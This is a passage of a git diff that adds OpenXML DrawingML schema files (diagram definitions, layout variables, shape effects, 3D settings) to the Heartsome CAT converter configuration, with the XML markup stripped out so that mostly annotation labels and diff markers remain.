Parent Transition Identifier + + + + + Sibling Transition Identifier + + + + + Presentation Identifier + + + + + + Connection List + + + + + Connection + + + + + + + Data Model + + + + + Point List + + + + + Connection List + + + + + Background Formatting + + + + + Whole E2O Formatting + + + + + + + + Data Model + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-diagramdefinition.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-diagramdefinition.xsd new file mode 100644 index 0000000..7c761a5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-diagramdefinition.xsd @@ -0,0 +1,813 @@ + + + + + + + + + + Iterator Attributes + + + + Axis + + + + + Data Point Type + + + + + Hide Last Transition + + + + + Start + + + + + Count + + + + + Step + + + + + + Constraint Attributes + + + + Constraint Type + + + + + For + + + + + For Name + + + + + Data Point Type + + + + + + Reference Constraint Attributes + + + + Reference Type + + + + + Reference For + + + + + Reference For Name + + + + + Reference Point Type + + + + + + Constraint + + + + + + + Constraint Attributes + + + + + Reference Constraint Attributes + + + + + Operator + + + + + Value + + + + + Factor + + + + + + Constraint List + + + + + Constraint + + + + + + + Numeric Rule + + + + + + + Constraint Attributes + + + + + Value + + + + + Factor + + + + + Max Value + + + + + + Constraint Rules + + + + + Rule + + + + + + + Presentation Of + + + + + + + Iterator Attributes + + + + + + Layout Shape Type + + + + + + 1-Based Index + + + + + + + + Shape Adjust + + + + Adjust Handle Index + + + + + Value + + + + + + Adjust Value List + + + + + Shape Adjust + + + + + + + Shape Layout Node + + + + + Shape Adjust List + + + + + + + Rotation + + + + + Shape Type + + + + + + Z-Order Offset + + + + + Hide Geometry + + + + + Prevent Text Editing + + + + + Image Placeholder + + + + + + Parameter + + + + Constra + + + + + Value + + + + + + Algorithm + + + + + Parameter + + + + + + + Algorithm Type + + + + + Revision Number + + + + + + Layout Node + + + + + Algorithm + + + + + Shape + + + + + Presentation Of + + + + + Constraint List + + + + + Rule List + + + + + Variable List + + + + + For Each + + + + + Layout Node + + + + + Choose Element + + + + + + + Name + + + + + Style Label + + + + + Child Order + + + + + Move With + + + + + + For Each Loop + + + + + Algorithm + + + + + Shape + + + + + Presentation Of + + + + + Constraint List + + + + + Rule List + + + + + For Each + + + + + Layout Node + + + + + Choose Element + + + + + + + Name + + + + + Reference + + + + + Iterator Attributes + + + + + + When + + + + + Algorithm + + + + + Shape + + + + + Presentation Of + + + + + Constraint List + + + + + Rule List + + + + + For Each + + + + + Layout Node + + + + + Choose Element + + + + + + + Name + + + + + Iterator Attributes + + + + + Function + + + + + Argument + + + + + Operator + + + + + Value + + + + + + Otherwise + + + + + Algorithm + + + + + Shape + + + + + Presentation Of + + + + + Constraint List + + + + + Rule List + + + + + For Each + + + + + Layout Node + + + + + Choose Element + + + + + + + Name + + + + + + Choose Element + + + + + If + + + + + Else + + + + + + Name + + + + + + Sample Data Model + + + + + Data Model + + + + + + Use Default + + + + + + Category + + + + Constraint Type + + + + + Priority + + + + + + Categories + + + + + Category + + + + + + + Name + + + + Language + + + + + Value + + + + + + Description + + + + Language + + + + + Value + + + + + + Version + + + + + + + + Diagram Definition + + + + + Title + + + + + Description + + + + + Category List + + + + + Sample Data + + + + + Style Data + + + + + Color Transform Sample Data + + + + + Layout Node + + + + + + + Unique Identifier + + + + + Minimum Version + + + + + Default Style + + + + + + Diagram Layout + + + + + Diagram Definition Header + + + + + Title + + + + + Description + + + + + Category List + + + + + + + Unique Identifier + + + + + Minimum Version + + + + + Default Style + + + + + Resource Identifier + + + + + + Diagram Layout Header + + + + + Diagram Definition Header List + + + + + Diagram Layout Header + + + + + + + Diagram Layout Header List + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-diagramelementpropertyset.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-diagramelementpropertyset.xsd new file mode 100644 index 0000000..51a860d --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-diagramelementpropertyset.xsd @@ -0,0 +1,165 @@ + + + + + + + + Model Identifier + + + + + + Element Property Set + + + + + Presentation Layout Variables + + + + + + + Presentation Element Identifier + + + + + Presentation Name + + + + + Presentation Style Label + + + + + Presentation Style Index + + + + + Presentation Style Count + + + + + Current Diagram Type + + + + + Current Diagram Category + + + + + Current Style Type + + + + + Current Style Category + + + + + Color Transform Type Identifier + + + + + Color Transform Category + + + + + Coherent 3D Behavior + + + + + Placeholder Text + + + + + Placeholder + + + + + Custom Rotation + + + + + Custom Vertical Flip + + + + + Custom Horizontal Flip + + + + + Fixed Width Override + + + + + Fixed Height Override + + + + + Width Scale + + + + + Height Scale + + + + + Text Changed + + + + + Custom Factor Width + + + + + Custom Factor Height + + + + + Neighbor Offset Width + + + + + Neighbor Offset Height + + + + + Radius Scale + + + + + Include Angle Scale + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-diagramlayoutvariables.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-diagramlayoutvariables.xsd new file mode 100644 index 0000000..1297969 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-diagramlayoutvariables.xsd @@ -0,0 +1,241 @@ + + + + + Diagram Direction Definition + + + + + Normal Direction + + + + + Reversed Direction + + + + + + + Hierarchy Branch Style Definition + + + + + Left + + + + + Right + + + + + Hanging + + + + + Standard + + + + + Initial + + + + + + + One by One Animation Value Definition + + + + + Disable One-by-One + + + + + One By One + + + + + By Branch One By One + + + + + + + Animation Level String Definition + + + + + Disable Level At Once + + + + + By Level Animation + + + + + From Center Animation + + + + + + + Org Chart Flag + + + + Show Organization Chart User Interface Value + + + + + + Number of Nodes Definition + + + + + + + + Child Max + + + + Maximum Children Value + + + + + + Child Preference + + + + Preferred Number of CHildren Value + + + + + + Bullet Enabled + + + + Show Insert Bullet Value + + + + + + Direction + + + + Diagram Direction Value + + + + + + Hierarchy Branch Style + + + + Organization Chart Branch Style Value + + + + + + Animate One + + + + One By One Animation Value + + + + + + Animate Level + + + + Level Animation Value + + + + + + + + + + + + + + + Layout Variable Property Set + + + + + Show Organization Chart User Interface + + + + + Maximum Children + + + + + Preferred Number of Children + + + + + Show Insert Bullet + + + + + Diagram Direction + + + + + Organization Chart Branch Style + + + + + One by One Animation String + + + + + Level Animation + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-diagramstyledefinition.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-diagramstyledefinition.xsd new file mode 100644 index 0000000..ad9a784 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-diagramstyledefinition.xsd @@ -0,0 +1,231 @@ + + + + + + + + + + + + + + Quick Style Name + + + + Natural Language + + + + + Description Value + + + + + + Quick Style Description + + + + Natural Language + + + + + Description Value + + + + + + A Quick Style Category + + + + Category Type + + + + + Priority + + + + + + Quick Style Categories + + + + + Category + + + + + + + Text Properties + + + + + + + + Style Label + + + + + 3-D Scene + + + + + 3-D Shape Properties + + + + + Text Properties + + + + + Shape Style + + + + + + + Style Name + + + + + + Style Definition Version + + + + + + + + Style Definition + + + + + Title + + + + + Style Label Description + + + + + A List of Categories + + + + + 3-D Scene + + + + + Shape Style + + + + + Style Label + + + + + + + Unique Style ID + + + + + Minimum Version + + + + + + Style Definition + + + + + Style Definition Header + + + + + Title + + + + + Style Label Description + + + + + A List of Categories + + + + + + + Unique Style ID + + + + + Minimum Version + + + + + Resource ID + + + + + + Style Definition Header + + + + + Style Definition Header List + + + + + Style Definition Header + + + + + + + List of Style Definition Headers + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-diagramtypes.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-diagramtypes.xsd new file mode 100644 index 0000000..7a96314 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-diagramtypes.xsd @@ -0,0 +1,1865 @@ + + + + + + Algorithm Types + + + + + Unknown Algorithm + + + + + Composite + + + + + Connector Algorithm + + + + + Cycle Algorithm + + + + + Hierarchy Child Algorithm + + + + + Hierarchy Root Algorithm + + + + + Pyramid Algorithm + + + + + Linear Algorithm + + + + + Space Algorithm + + + + + Text Algorithm + + + + + Snake Algorithm + + + + + + + Axis Type + + + + + Self + + + + + Child + + + + + Descendant + + + + + Descendant or Self + + + + + Parent + + + + + Ancestor + + + + + Ancestor or Self + + + + + Fillow Sibling + + + + + Preceding Sibling + + + + + Follow + + + + + Preceding + + + + + Root + + + + + None + + + + + + + Axis Type List + + + + + + Boolean Constraint + + + + + None + + + + + Equal + + + + + Greater Than or Equal to + + + + + Less Than or Equal to + + + + + + + Child Order + + + + + Bottom + + + + + Top + + + + + + + Constraint Type + + + + + Unknown + + + + + Alignment Offset + + + + + Beginning Margin + + + + + Bending Distance + + + + + Beginning Padding + + + + + Bottom + + + + + Bottom Margin + + + + + Bottom Offset + + + + + Center Height + + + + + Center X Offset + + + + + Center Width + + + + + Center Y Offset + + + + + Connection Distance + + + + + Diameter + + + + + End Margin + + + + + End Padding + + + + + Height + + + + + Arrowhead Height + + + + + Height Offset + + + + + Left + + + + + Left Margin + + + + + Left Offset + + + + + Right + + + + + Right Margin + + + + + Right Offset + + + + + Primary Font Size + + + + + Pyramid Accent Ratio + + + + + Secondary Font Size + + + + + Sibling Spacing + + + + + Secondary Sibling Spacing + + + + + Spacing + + + + + Stem Thickness + + + + + Top + + + + + Top Margin + + + + + Top Offset + + + + + User Defined A + + + + + User Defined B + + + + + User Defined C + + + + + User Defined D + + + + + User Defined E + + + + + User Defined F + + + + + User Defined G + + + + + User Defined H + + + + + User Defined I + + + + + User Defined J + + + + + User Defined K + + + + + User Defined L + + + + + User Defined M + + + + + User Defined N + + + + + User Defined O + + + + + User Defined P + + + + + User Defined Q + + + + + User Defined R + + + + + User Defined S + + + + + User Defined T + + + + + User Defined U + + + + + User Defined V + + + + + User Defined W + + + + + User Defined X + + + + + User Defined Y + + + + + User Defined Z + + + + + Width + + + + + Arrowhead Width + + + + + Width Offset + + + + + + + Constraint Relationship + + + + + Self + + + + + Child + + + + + Descendant + + + + + + + Element Type + + + + + All + + + + + Document + + + + + Node + + + + + Normal + + + + + Non Normal + + + + + Assistant + + + + + Non Assistant + + + + + Parent Transition + + + + + Presentation + + + + + Sibling Transition + + + + + + + Element Type List + + + + + + Parameter Identifier + + + + + Horizontal Alignment + + + + + Vertical Alignment + + + + + Child Direction + + + + + Child Alignment + + + + + Secondary Child Alignment + + + + + Linear Direction + + + + + Secondary Linear Direction + + + + + Start Element + + + + + Bend Point + + + + + Connection Route + + + + + Beginning Arrowhead Style + + + + + End Style + + + + + Connector Dimension + + + + + Rotation Path + + + + + Center Shape Mapping + + + + + Node Horizontal Alignment + + + + + Node Vertical Alignment + + + + + Fallback Scale + + + + + Text Direction + + + + + Pyramid Accent Position + + + + + Pyramid Accent Text Margin + + + + + Text Block Direction + + + + + Text Anchor Horizontal + + + + + Text Anchor Vertical + + + + + Text Anchor Horizontal With Children + + + + + Text Anchor Vertical With Children + + + + + Parent Text Left-to-Right Alignment + + + + + Parent Text Right-to-Left Alignment + + + + + Shape Text Left-to-Right Alignment + + + + + Shape Text Right-to-Left Alignment + + + + + Auto Text Rotation + + + + + Grow Direction + + + + + Flow Direction + + + + + Continue Direction + + + + + Breakpoint + + + + + Offset + + + + + Hierarchy Alignment + + + + + Breakpoint Fixed Value + + + + + Start Bullets At Level + + + + + Start Angle + + + + + Span Angle + + + + + Aspect Ratio + + + + + Line Spacing Parent + + + + + Line Spacing After Parent Paragraph + + + + + Line Spacing Children + + + + + Line Spacing After Children Paragraph + + + + + Route Shortest Distance + + + + + Text Alignment + + + + + Pyramid Level Node + + + + + Pyramid Accent Background Node + + + + + Pyramid Accent Text Node + + + + + Source Node + + + + + Destination Node + + + + + Beginning Points + + + + + End Points + + + + + Unknown + + + + + + + Integer List + + + + + + Unsigned Integer List + + + + + + Boolean List. + + + + + + Function Type + + + + + Count + + + + + Position + + + + + Reverse Position + + + + + Position Even + + + + + Position Odd + + + + + Variable + + + + + Depth + + + + + Max Depth + + + + + + + Function Operator + + + + + Equal + + + + + Not Equal To + + + + + Greater Than + + + + + Less Than + + + + + Greater Than or Equal to + + + + + Less Than or Equal to + + + + + + + Horizontal Alignment + + + + + Left + + + + + Center + + + + + Right + + + + + None + + + + + + + Vertical Alignment + + + + + Top + + + + + Middle + + + + + Bottom + + + + + None + + + + + + + Child Direction + + + + + Horizontal + + + + + Vertical + + + + + + + Child Alignment + + + + + Top + + + + + Bottom + + + + + Left + + + + + Right + + + + + + + Secondary Child Alignment + + + + + None + + + + + Top + + + + + Bottom + + + + + Left + + + + + Right + + + + + + + Linear Direction + + + + + From Left + + + + + From Right + + + + + From Top + + + + + From Bottom + + + + + + + Secondary Linear Direction + + + + + None + + + + + From Left + + + + + From Right + + + + + From Top + + + + + From Bottom + + + + + + + Starting Element + + + + + Node + + + + + Transition + + + + + + + Rotation Path + + + + + None + + + + + Along Path + + + + + + + Center Shape Mapping + + + + + None + + + + + First Node + + + + + + + Bend Point + + + + + Beginning + + + + + Default + + + + + End + + + + + + + Connector Routing + + + + + Straight + + + + + Bending + + + + + Curve + + + + + Long Curve + + + + + + + Arrowhead Styles + + + + + Auto + + + + + Arrowhead Present + + + + + No Arrowhead + + + + + + + Connector Dimension + + + + + 1 Dimension + + + + + 2 Dimensions + + + + + Custom + + + + + + + Connector Point + + + + + Auto + + + + + Bottom Center + + + + + Center + + + + + Middle Left + + + + + Middle Right + + + + + Top Center + + + + + Bottom Left + + + + + Bottom Right + + + + + Top Left + + + + + Top Right + + + + + Radial + + + + + + + Node Horizontal Alignment + + + + + Left + + + + + Center + + + + + Right + + + + + + + Node Vertical Alignment + + + + + Top + + + + + Middle + + + + + Bottom + + + + + + + Fallback Dimension + + + + + 1 Dimension + + + + + 2 Dimensions + + + + + + + Text Direction + + + + + From Top + + + + + From Bottom + + + + + + + Pyramid Accent Position + + + + + Before + + + + + Pyramid Accent After + + + + + + + Pyramid Accent Text Margin + + + + + Step + + + + + Stack + + + + + + + Text Block Direction + + + + + Horizontal + + + + + Vertical Direction + + + + + + + Text Anchor Horizontal + + + + + None + + + + + Center + + + + + + + Text Anchor Vertical + + + + + Top + + + + + Middle + + + + + Bottom + + + + + + + Text Alignment + + + + + Left + + + + + Center + + + + + Right + + + + + + + Auto Text Rotation + + + + + None + + + + + Upright + + + + + Gravity + + + + + + + Grow Direction + + + + + Top Left + + + + + Top Right + + + + + Bottom Left + + + + + Bottom Right + + + + + + + Flow Direction + + + + + Row + + + + + Column + + + + + + + Continue Direction + + + + + Reverse Direction + + + + + Same Direction + + + + + + + Breakpoint + + + + + End of Canvas + + + + + Balanced + + + + + Fixed + + + + + + + Offset + + + + + Center + + + + + Offset + + + + + + + Hierarchy Alignment + + + + + Top Left + + + + + Top Right + + + + + Top Center Children + + + + + Top Center Descendants + + + + + Bottom Left + + + + + Bottom Right + + + + + Bottom Center Child + + + + + Bottom Center Descendant + + + + + Left Top + + + + + Left Bottom + + + + + Left Center Child + + + + + Left Center Descendant + + + + + Right Top + + + + + Right Bottom + + + + + Right Center Children + + + + + Right Center Descendants + + + + + + + Function Value + + + + + + Variable Type + + + + + Unknown + + + + + Organizational Chart Algorithm + + + + + Child Max + + + + + Child Preference + + + + + Bullets Enabled + + + + + Direction + + + + + Hierarchy Branch + + + + + Animate One + + + + + Animation Level + + + + + + + + Function Argument + + + + + + Output Shape Type + + + + + None + + + + + Connection + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-docproperties.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-docproperties.xsd new file mode 100644 index 0000000..b9a1a03 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-docproperties.xsd @@ -0,0 +1,137 @@ + + + + + + + + + + + + + + + Do Not Show Adjust Handles + + + + + Do not allow arrowhead change + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Non-Visual Properties + + + + + Drawing Element On Click Hyperlink + + + + + Hyperlink for hover + + + + + + + + Name + + + + + + + + + + Shape Locks + + + + + + + + + + + + + + + + + + + + + + + + + + + Group locking properties + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-graphicalobject.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-graphicalobject.xsd new file mode 100644 index 0000000..82d43fb --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-graphicalobject.xsd @@ -0,0 +1,15 @@ + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-graphicalobjectanimation.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-graphicalobjectanimation.xsd new file mode 100644 index 0000000..36a74b1 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-graphicalobjectanimation.xsd @@ -0,0 +1,83 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Animate Background + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-graphicalobjectformat.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-graphicalobjectformat.xsd new file mode 100644 index 0000000..9b0b833 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-graphicalobjectformat.xsd @@ -0,0 +1,17 @@ + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-gvml.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-gvml.xsd new file mode 100644 index 0000000..dcdea0c --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-gvml.xsd @@ -0,0 +1,146 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Non-visual common drawing element properties + + + + + Visual Properties + + + + + Text shapes + + + + + Style + + + + + + + + + + + + + + + + Non-visual connector properties + + + + + Visual Properties + + + + + Style + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Non-visual group specific properties + + + + + Visual group shape properties + + + + + + Text shape + + + + + + Connector shape + + + + + + + Group shape + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-lockedcanvas.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-lockedcanvas.xsd new file mode 100644 index 0000000..9181f13 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-lockedcanvas.xsd @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-picture.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-picture.xsd new file mode 100644 index 0000000..d98dba0 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-picture.xsd @@ -0,0 +1,41 @@ + + + + + + + Picture Container + + + + + Shape Properties for the Picture + + + + + + Prevent Picture Cropping + + + + + Relative Picture Resize + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shape3dcamera.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shape3dcamera.xsd new file mode 100644 index 0000000..7945094 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shape3dcamera.xsd @@ -0,0 +1,88 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Camera position and orientation override + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shape3dlight.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shape3dlight.xsd new file mode 100644 index 0000000..2924689 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shape3dlight.xsd @@ -0,0 +1,62 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Light Rig Enum ( Balanced ) + + + + + + + + + + + + + + + + + + + + + + Rotation + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shape3dscene.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shape3dscene.xsd new file mode 100644 index 0000000..f3f6d95 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shape3dscene.xsd @@ -0,0 +1,14 @@ + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shape3dsceneplane.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shape3dsceneplane.xsd new file mode 100644 index 0000000..069125f --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shape3dsceneplane.xsd @@ -0,0 +1,12 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shape3dstyles.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shape3dstyles.xsd new file mode 100644 index 0000000..76317c2 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shape3dstyles.xsd @@ -0,0 +1,74 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Apply 3D shape properties + + + + + No text in 3D scene + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shapeeffects.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shapeeffects.xsd new file mode 100644 index 0000000..0c6efd5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shapeeffects.xsd @@ -0,0 +1,652 @@ + + + + + + + + + + + + + Color + + + + + + + + Amount + + + + + + + Radius + + + + + + + Alpha + + + + + + + + + + Radius + + + + + + + + + + + + + + + + Color + + + + + + + + + + + + + + + + + + + + + + + + + + + Color + + + + + + + + + + + Color + + + + + + Radius + + + + + + + + Hue + + + + + Saturation + + + + + Luminance + + + + + + + + Color + + + + + + + + + + + + + + + + Color + + + + + + + + + Horizontal Ratio + + + + + Vertical Ratio + + + + + + + + Rotate With Shape + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Color + + + + + + + + + + + + Start Opacity + + + + + Start Position + + + + + + + + + + Horizontal Ratio + + + + + Vertical Ratio + + + + + + + + Rotate With Shape + + + + + + + + + + + + + + Hue + + + + + Amount + + + + + + + Horizontal Ratio + + + + + Vertical Ratio + + + + + + + + + + + + + Color + + + + + + + + Angle + + + + + Scaled + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Color + + + + + + Position + + + + + + + + Gradient stops + + + + + + + + + + + + + + Rotate With Shape + + + + + + + + + Horizontal Ratio + + + + + Vertical Ratio + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Luminance + + + + + + + + + Image Data + + + + + + + + + + + + + + Rotate With Shape + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Foreground color + + + + + Background color + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Luminance + + + + + + + + + + + + + + + + + + + + + + + Name + + + + + + + + + + + + + Effect to blend + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shapegeometry.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shapegeometry.xsd new file mode 100644 index 0000000..5ccfc99 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shapegeometry.xsd @@ -0,0 +1,544 @@ + + + + + + Shape Types + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Geometry Guide Name Properties + + + + + + Geometry Guide Formula Properties + + + + + + Geometry Guide Methods + + + + Name + + + + + Formula + + + + + + Geometry Guide List + + + + + Guide + + + + + + + Adjustable Coordinate Methods + + + + + + Adjustable Angle Methods + + + + + + Adjustable 2D Point Methods + + + + X-Coordinate + + + + + Y-Coordinate + + + + + + + Left + + + + + Top + + + + + Right + + + + + Bottom Position + + + + + + + + Position + + + + + + + + + + + + + + + Position + + + + + + + + + + + + + + + Position + + + + + + Angle + + + + + + + + + Polar Adjust Handle + + + + + + + + + + + + + + + + + + Move end point + + + + + + + + + Line end point + + + + + + + + + + Start Angle + + + + + + + + + + + + + + Control points and end point + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Stroke + + + + + + + + + + + + + + Adjust Value List + + + + + + + + + + Adjust Value List + + + + + + + + + + Adjust Value List + + + + + + Adjust Handle List + + + + + Connection site list + + + + + Rectange + + + + + + + + + + Custom geometry + + + + + Preset geometry + + + + + + + + + Custom geometry + + + + + Preset text wrap + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shapelineproperties.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shapelineproperties.xsd new file mode 100644 index 0000000..5eaf791 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shapelineproperties.xsd @@ -0,0 +1,136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Value + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Tail line end style + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shapemisc.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/dml-shapemisc.xsd new file mode 100644 index 0000000..bf68e86 --- /dev/null +++ 